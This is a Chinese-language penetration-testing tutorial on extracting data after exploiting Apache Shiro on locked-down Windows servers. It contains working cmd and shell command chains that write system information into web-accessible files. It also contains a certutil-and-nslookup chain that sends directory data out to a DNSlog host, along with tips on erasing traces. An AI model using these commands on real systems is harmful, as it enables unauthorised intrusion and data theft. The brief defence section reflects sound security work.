踩坑记录-Shiro(Windows)极端条件的突破
字数 1407 2025-08-25 22:59:02
Shiro(Windows)极端条件下的突破技术文档
0x00 场景分析
Apache Shiro是一个强大且易用的Java安全框架,但由于其"盲打"特性,在实际渗透测试中经常会遇到各种极端限制条件。本文档主要针对以下极端场景:
- Windows环境下的Shiro漏洞利用
- 目标系统不出网(无法直接回连)
- PowerShell脚本无法执行
- 需要外带数据的情况
0x01 数据外带技术
Windows环境下的数据外带方案
在Windows环境下,当无法直接通过命令回显或DNS外带数据时,可以采用文件写入+访问的方式外带数据。
核心思路:
- 在网站目录下寻找一个命名独特的文件作为"参照物"
- 利用该文件定位绝对路径
- 在相同目录下生成包含敏感信息的文本文件
- 通过HTTP直接访问生成的文本文件获取数据
具体实现命令:
cmd /c "for /f %i in ('dir /s /b c:\xxx.js') do (echo%i>%i.path.txt)&(ipconfig > %i.ipconfig.txt)"
命令解析:
dir /s /b c:\xxx.js:递归搜索xxx.js文件的绝对路径echo%i>%i.path.txt:将找到的文件路径写入到[文件路径].path.txtipconfig > %i.ipconfig.txt:将ipconfig结果写入到[文件路径].ipconfig.txt
Linux环境下的数据外带方案
作为对比,Linux环境下可以使用类似的思路:
find / -name bas.js|while read f;do sh -c 'id;pwd;ifconfig' >$(dirname $f)/test.txt;done
0x02 目录定位技术
在Windows环境中,当不知道网站绝对路径时,可以使用以下技术定位:
完整命令链:
cmd /c "del temp* && echo %CD%>temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2>temp3 && call set /P MYVAR=<temp3 && call set FINAL=%MYVAR:~0,60%.g9bubn.ceye.io && call nslookup %FINAL% && call set FINAL=<nul && call set MYVAR=<nul && del temp*"
步骤解析:
echo %CD%>temp:将当前目录写入temp文件certutil -encode temp temp2:使用certutil进行base64编码findstr /L /V "CERTIFICATE" temp2>temp3:过滤掉CERTIFICATE头- 将结果截取前60个字符作为子域名
- 通过nslookup外带信息
实际应用示例:
- 执行上述命令后,通过DNSlog获取当前目录信息
- 结合网站上的"参照物"文件URL,拼接出完整路径
- 使用第一节的方法写入数据文件
- 直接通过HTTP访问生成的文件获取命令执行结果
0x03 技术要点总结
-
文件参照物选择:
- 选择网站中命名独特的文件(如不常见的js文件名)
- 确保该文件可通过URL直接访问
-
路径拼接技巧:
- 通过
dir /s /b获取文件的绝对路径 - 利用路径字符串操作生成输出文件路径
- 通过
-
数据外带替代方案:
- 当无法直接外带时,采用写入文件+HTTP访问的方式
- 文件命名要有规律,便于预测和访问
-
环境适应性:
- 该方法特别适合限制命令长度的情况
- 不需要依赖PowerShell等可能被限制的组件
-
清理痕迹:
- 操作完成后可删除临时文件
- 注意文件生成的时间戳可能留下痕迹
0x04 防御建议
针对此类攻击,防御方可以考虑:
- 限制Shiro框架的密钥强度
- 监控异常的文件创建操作
- 对敏感目录设置严格的访问权限
- 禁用不必要的系统命令执行功能
- 实施严格的输入过滤和命令过滤
0x05 扩展思考
-
在更严格的限制下(如无法创建新文件),可以考虑:
- 覆盖现有非关键文件的内容
- 利用系统日志或临时文件插入数据
-
对于路径深度较大的情况,可以:
- 使用短文件名(8.3格式)简化路径
- 利用通配符缩短命令长度
-
其他可能的变种:
- 利用Windows环境变量缩短命令
- 结合FTP/TFTP等协议外带数据
- 使用剪贴板或注册表暂存数据